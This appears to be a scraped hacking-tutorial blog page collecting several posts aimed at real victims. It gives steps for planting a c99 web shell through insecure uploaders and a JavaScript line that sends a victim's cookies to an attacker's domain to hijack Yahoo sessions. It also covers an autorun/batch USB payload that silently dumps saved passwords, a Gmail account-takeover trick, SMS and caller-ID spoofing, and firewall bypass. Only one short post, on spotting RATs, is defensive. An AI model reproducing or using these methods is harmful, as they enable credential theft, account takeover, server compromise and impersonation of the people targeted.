HACK A WEBSITE USING C99 SCRIPT.

hack a website using c99 script

The c99 shell script is a very good way to hack a php enable web server. You have to find an unsecure uploader to upload this file to the server. Here i used unsecure uploader means the uploader which can't check for file extension and allow us to upload our executable scripts to the server.


This c99 shell allows an attacker to hijack the php enable web server. This script is very user friendly and having very good interface so it is easy to use. You can issue any php command to run on the web server. You can use any of the commands given in the script to run on the web server.


NOTE: This post is only for educational purpose. We advice you not to try this on any website. Use of this script on any website is illegal. 



For hacking a website using C99 script follow these steps.


1) Find a php web site with an uploader.
2) Test the file uploader to be secure or not by uploading files with a server executable extension.
3) If uploader is unsecure then upload the shell script.
4) Execute the uploaded code by navigating to the uploaded page.
5) A c99 script GUI will show up with a lot of options and details.
6) Look for the server details if the safe mode is on or off. If safe mode is off then the entire web server can be controlled by the script. If its on then on the directory in which c99 shell script is uploaded can only be controlled by the script.
7) Apart from being able to chmod, modify and delete files c99 also lets its user brute force the ftp but it requires an additional dictionary file which can run into hundreds of MBs.


NOTE: You can also execute this script on the web server by RFI


Search the and download the script from google.  or download from link
c99
but upper link may not work because script will soon be deleted by the file host.

[Read More...]

HACK WEBSITE USING SQL MAP | AUTOMATIC SQL INJECTION TOOL...!!!

Hack website using SQL map | automatic SQL injection tool

SQL map v.0.9 Released

Today i am going to write a sql injection tool. It's V 0.9 is just released. There are many changes in this tool from it's previous version. Sql injection is one of the top web application vulnerabilities. It's very important to check a website against this vulnerability.  

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.


Download Here:
http://sourceforge.net/projects/sqlmap/files/

[Read More...]

TRACE IP ADDRESS ,MOBILE NUMBERS...ETC ETC..!!

Many people want this type of services and searched over internet a waste their time but unable to get desired results.
A few days ago i got a website which have a lots of tracing services. It shows tracing results in a map along with all suitable information you want to know.
You can trace a Mobile number. For example , when we enter the 10 digit mobile number, then we get the Mobile Service provider, Location, City along with area in a map. 
Thats really awesome.



You can also trace IP Address of a person. Enter your IP address and it will show you the location of this IP address and complete details of the ISP with the contact number of that IP Address. 


Features of this site is

Trace Mobile Number
Trace Vehical Number
Trace Pin Code
Trace IP AddressWHOIS Trace 







GO TO THIS LINK:
http://www.indiatrace.com 

please comment below if this post is useful for you..

:)

[Read More...]

10 steps & You H4ck Random Gmail Acounts...:D..:D.!!!

guyzz one thing i want to clear i got success in this trick when  tried this atleast 10 - 20 times after applying ...so u need a better luck too..:D:D

Getting Straight to the tut

step 1: first signout of your gmail account .

step 2: go to "I Cannot Access My Account " tab which is below the password field

step 3: go to Yopmail.com and enter any random name eg:ron
and then click check inbox
and leave it open.

step 4: On "I Cannot Access My Account " page in Gmail just click forgot my username and go to username recovery page.

Step 5: Enter The Yopmail email you just opened eg :ron@yopmail.com

Step 6: now click check for new emails tab in yopmail you will get all the gmail id's associated with it eg you'll get some gmail id's like xx@gmail.com copy that id

step 7: just go again to the "I Cannot Access My Account " in gmail and this time choose forgot my password and go to password recovery page

step 8:Now Enter The Gmail Id You Copied xx@gmail.com in username
fill the captcha and everything

step9: If The Gmail Password recovery ever asks a security question then no need to panic !
look below the security question there will be a tab link send the reset password link to my recovery email

step 10:just go to the yopmail inbox again and click on the link gmail posted and reset their gmail password

VOILA !! You Just hacked A Gmail Account
P.S :There Are Fb, Twitter,Various Forums Logins Too Attached With The Emails So Just Enjoy Using Their Account!!
You Can Use : http://www.mailinator.com,mailcatch.com,...pemail.net
instead of http://www.yopmail.net

[Read More...]

Yahoo Account Hacking / Hack yahoo Account by Cookies stealing to browser / Session Hijacking

Hack Yahoo Account by Cookies Stealing very Simple Way, by Cookies Hijacking.
Follow Steps and Learn.
This is very Simple Tutorial and working..









Step 1: Download this Script
Step:2 Download and extract files into your hard drive.
Step:3 Create a account in any ftp hosting site i suggested http://110mb.com
Step4: Login to your account and upload 4 files into your ftp account...see screenshot below

Step5: Give this  code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie)); 
He would again redirected to his yahoo account.
Step6. Open the hacked.php . The password is 'explore'.

You must have got the username of victim's account. Simply Click on it and it would take you to inbox of victim's yahoo account without asking for any password

Thtas it guyzz....if you have done it then comment if you have any problem with this Tutorial then Contact me or Comment here.

[Read More...]

How to Know If Hacker Attack on your pc/ you are infected with Rat or keylogger...protecting pc tips!!

1.Open command prompt and type netstat -b



Now this command will show you the active connections with the process with their PID (Process Identifier) and also the packets.
Look out for SYN Packets and the Foreign address its been connecting with , check the process its been associated with, check the ports also. If you find that its connecting to some unknown ports, then you can say you have been backdoored.
2. Go to your task manager. On the top of it, click on View—> select Column—> Tick on PID (Process Identifier).
Match the suspicious Process with the Processes In task manager, check PID also.

Now most of the RATs resides on Start up. How to delete them from start up?
a) Go to regedit —> HKLMSoftwareMicrosoftWindowsCurrent versionRun
On the Right hand side, check for the process name which you find on step 4. if its not their. Check at
HKCUSoftwareMicrosoftWindowsCurrent VersionRun
OR
Open Cmd prompt & type start msconfig. Go to Startup tab, you can check the startup process there.

delete all unkown .exe process..!!

[Read More...]

Hack your friends and colgs/school computer with USB/How to steal passwords with/through USB Tutl...!!

 How to steal passwords with a USB in just seconds

Guyz in this Tutorial i will tell you how to steal/Hack someone computer passwords through USB Flash Drive.

step 1: Create New/open notepad/wordpad

type or copy/paste Red Text below,.

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save this as AUTORUN.inf

How to make Autorun.inf file (1st learn it if you dont know)
step2: open a new notepad/wordpad document

type or copy/paste Red Text blow.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start PasswordFox.exe /stext passwordfox.txt

start OperaPassView.exe /stext OperaPassView.txt

start ChromePass.exe /stext ChromePass.txt

start Dialupass.exe /stext Dialupass.txt

start netpass.exe /stext netpass.txt

start WirelessKeyView.exe /stext WirelessKeyView.txt

start BulletsPassView.exe /stext BulletsPassView.txt

start VNCPassView.exe /stext VNCPassView.txt

start OpenedFilesView.exe /stext OpenedFilesView.txt

start ProduKey.exe /stext ProduKey.txt

start USBDeview.exe /stext USBDeview.txt


save this as LAUNCH.bat

now you have 2 files 



step3: copy the autorun and launch file to your USB

step4: go to http://www.nirsoft.net/
and download the programs which named in step 2

step5: extract the files you downloaded to your desktop and copy all the .exe files to your USB

step6: remove and re-insert your USB

step7: click on the option " perform a virus scan"
(this is an exemple, if you want it to say something else go to the autorun file and change it ;) )

step8: now go to my computer and see usb drive, you will now see some text files, if you open them you will see usernames and passwords

[Read More...]

Send Sms From Friends MobileTo Any Number ....SMS spoofing Trick by Devendr@..!!

Hello Friends, today i am sharing an awesome trick with you all. Today i will tell you how to send anonymous SMS i.e. How to send SMS from any mobile number to any mobile number that means how to send SMS from your friend's mobile to your mobile or your friends mobile to your friends mobile or any other number. Basically this technique is call SMS spoofing. By SMS spoofing we can send SMS to any mobile using anyone's mobile number. How this trick can be helpful?? its simple it is helpful when you wanna prank your friends, enemies or simply you want to send free SMS to your friends using their numbers only. So friends read on...

What is SMS Spoofing?

Spoofing is basically mimic of the original i.e. SMS spoofing basically is a technique to send anonymous SMS to any mobile number. By anonymous i means that we can use any mobile number to send the SMS. 

This is not actually a trick or hack but it's a service that a company is providing but the only thing the company forgot is internal send ID Check i.e. which number we are using to send SMS. So this service allows us to send SMS from any number to any number that means. Now the number that we register will be shown to the victim.

Hence we are exploiting the Internal sender ID phone verification feature.

Feature's of SMS spoofing:

• Spoofed sms (any mobile number to any mobile number)
• 100% anonymous  messages
• Worldwide Network (i.e. we can send SMS all over the world)
• No advertisements
• Instant Delivery of SMS

How to use this Hack? 

1. First of all, register here . This website looks like this . Fill as i shown below:

2. After Registering you will get 25 free credits that means you can send 25 free SMS from any number to any number. For using it again register another mobile and email id . 25 SMS is the limitation of this trick from one registered number.. Usually people have two to three sims.

3.  Now after registering you will receive password on registered mobile number.

4. Now login with that password that you got on mobile.

5. Now go to Send SMS to number . As shown in snapshot below:

6. After entering the details as explained in snapshot above. Click on send.

7. That's all the hack. I know its limited but its awesome...Isn't It..

I hope you all have enjoyed it.. Keep visiting friends for more such hacks...

[Read More...]

Bypass Websense or Cyberoam..!!

Hello Friends, today i am going to explain you How to hack cyberoam websense and all other security firewalls that college, institutions, offices use to block websites at their respective places. Most of my users have asked me about that how to access blocked websites in their college and offices, i have explained this earlier also but those loopholes are now fixed and those methods to hack cyberoam and websense doesn't work effectively now and also hacking through proxy is quite tedious task as we have to search for working proxy websites which in itself is a very tedious task, and these doesn't work always. But the method that i will explain today is really awesome and doesn't require much task and thus its quite easy and the most important its 100% working. So friends read on for detailed hack....

For hacking Cyberoam or Websense you must know How cyberoam and websense works? If you know how they works then you can easily find flaws in that and hack it very easily.

Cyberoam is a 8 layer hardware firewall that offers stateful and deep packet inspection for network and web applications and user based identity security. Thus the firewall is quite secured. Now how we can hack that 8 layer security its the main important question here, as i have mentioned above that main working and blocking of any website or application by cyberoam is basically done at deep packet inspection step, now here the flaw in any security firewall lies, also in case of cyberoam and websense too. They block all websites by parsing their content and if their content contains the restricted keywords then they block that websites. They also use category blocking which also works on same concept. The flaw is with websites that uses SSL feature, the websites that contains SSL lock i.e. the websites that uses https are not blocked by them. They have to block these websites manually which is a very hectic task and believe me nobody blocks them.

So the proxy websites that uses https i.e. SSL proxies are also not blocked by these websites.

Only those proxies are blocked which are known or being heavily used. But the tool that i give you create SSL proxies by itself that means its proxies cannot be blocked. So friends this tool rocks.

Things that we need to hack cyberoam, websense and any such such hardware firewall:

1. TOR browser ( a anonymous web browser like Mozilla which has inbuilt proxy finder that bypasses the websites easily that are being blocked by cyberoam or websense).

2. A USB or pendrive ( where you will keep the portable version of TOR browser)

3. If USB drives are disabled we will use different drive for its installation. (also portable version of TOR can be executed from any place).

Steps to hack Cyberoam:

1. Download the TOR web browser.

To download TOR browser: CLICK HERE

2. Now install the TOR web browser. In case of portable version it will extract.

For Installation and usage Instructions visit here: CLICK HERE

3. Now open the TOR browser and start surfing your favorite website like facebook, orkut, gmail ..everything at you office....

4. That's all the hack. I hope you all have liked it.

For such hacks keep visiting...and subscribe our posts, if you don't wanna miss any such hack...

[Read More...]

Call Spoofing 2011

In this post we will talk about a basic and effective way of call spoofing. But for the beginners let me clear what do you mean by call spoofing.

Call spoofing is a technique to call anyone from any number. You can call your friend from his/her Dad’s number if we consider it as a example. So before proceeding to the hack-tutorial whatever you can call it. Today there is no method free of cost that can help you to spoof a call. So, dont waste your time while asking to GoogleSearch about it.
Here is a technique that mostly being used to spoof a call. Just follow the following steps:

1. Open http://www.crazycall.net

2. Select your country and wait for the page to load.

3. Enter the number you want to display in the first big box (Don’t change the contents of small box if the fake number is of same country).

4. Enter the number you wish to call in second big box.

5. Choose voice pitch as normal (for same voice) or high or low pitch to change your voice.

6. Click Get me a code.

7. Dial the number shown on right and enter the shown code when asked.

Note:-Please  Remember International call rates apply. and yes the post is just for educationpurpose only that how call spoofing can be performed.I appeal  my users to not to misuse the given information.

 

[Read More...]